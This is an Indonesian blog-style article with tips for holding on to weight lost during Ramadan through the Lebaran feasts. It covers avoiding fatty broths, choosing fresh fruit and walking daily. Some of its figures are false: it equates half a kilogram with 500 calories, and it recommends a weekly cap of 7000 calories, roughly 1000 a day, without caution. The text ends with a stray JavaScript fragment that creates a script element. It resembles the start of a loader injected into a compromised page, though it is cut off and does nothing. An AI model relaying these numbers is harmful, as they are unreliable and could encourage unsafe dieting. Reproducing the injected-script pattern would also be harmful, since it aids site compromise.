Saat bulan puasa, pada siang hari kita tidak boleh makan dan minum yang secara otomatis merupakan program diet terselubung dari ibadah puasa yang dijalankan. Bulan puasa menjadi bulan yang cukup efektif bagi anda yang ingin berkomitmen untuk melakukan program penurunan berat badan. Pada saat puasa memang berat badan kita turun dan berkurang sekitar 1/2 kilogram atau ekuivalen dengan jumlah kalori 500 dalam waktu seminggu. Sayangnya, saat lebaran ada begitu banyak hidangan yang tersaji yang dapat menggugah selera makan sehingga pola makan menjadi tidak terkontrol.
Sangat disayangkan bukan, jika selama bulan puasa anda sudah berusaha mati-matian membuat berat baran turun namun saat hari raya Idul Fitri tiba berat badan Anda malah naik beberapa digit dari normalnya. Berat badan yang naik pasca hari raya tiba tidak lain disebabkan oleh asupan kalori yang masuk ke dalam tubuh jauh lebih banyak dibandingkan normalnya.
Jika ingin mempertahankan berat badan yang sudah Anda dapatkan selama puasa, ada baiknya Anda lebih mendengarkan sang perut. Jika Anda belum merasa lapar, jangan mengisi perut dengan makanan. Begitu juga ketika sedang makan dan sudah merasa kenyang, maka berhentilah memasukan makanan ke dalam perut Anda. Pemilihan makanan yang tidak banyak mengandung gula tepung dan minyak juga merupakan solusi terbaik jika anda ingin mempertahankan berat badan Ideal.
Agar berat badan kita tetap ideal dan tetap langsing setelah lebaran, ada baiknya Anda perhatikan beberapa menu diet lebaran sehat berikut ini untuk menjaga agar tubuh tetap sehat dan cantik.
- Jangan makan kuah
Sebisa mungkin jika anda tetap ingin menyantap gulai, rendang ataupun ketupat dan opor ayam, jangan makan juga kuahnya. Anda cukup makan daging yang tanpa gajih atau lemak dan hindari juga makan kulit ayam karena banyak mengandung lemak. Yang paling gampang diingat adalah kurangi makan makanan yang mengandung gula tepung dan minyak. Selain memasak dengan cara menggoreng dengan cara direbus, dikukus, disteam atau anda bisa juga coba yang lebih tradisional seperti dipepes. - Imbangi Dengan Buah
Lebih baik menyajikan buah-buahan segar yang siap untuk dipotong-potong dari pada buah-buahan yang dicampur dengan minuman es buah yang tentunya pasti ada tambahan gula yang bisa meningkatkan kalori. Kandungan serat, sedikit kalori dan lemak, serta air yang ada dala buah dapat menjaga berat tubuh Anda tetap ideal. - Olahraga
Ini yang terkadang kita sepelekan, 30 menit saja melakukan olahraga seperti jalan kaki sampai berkeringat sudah cukup untuk membakar kalori agar tubuh selalu terjaga dan berat badan tetap langsing dan ideal. Pastikan Anda tidak mengurangi aktivitas selama hari raya karena hal itu berdampak terhadap berat badan yang sedang Anda jaga.
Agar anda tetap mendapatkan berat badan ideal, sebaiknya anda tindak mengkonsumsi lebih dari 7000 kalori dalam 1 minggu. Pastikan juga Anda meminta bantuan orang-orang terdekat untuk mengingatkan motivasi Anda untuk memiliki berat badan ideal. Ingat juga bagaimana perjuangan Anda dalam menurunkan berat badan, apakah tega merusak perjuangan yang sudah Anda lakukan hanya karena makanan hari raya yang menggoda? 😀
var d=document;var s=d.createElement(‘script’);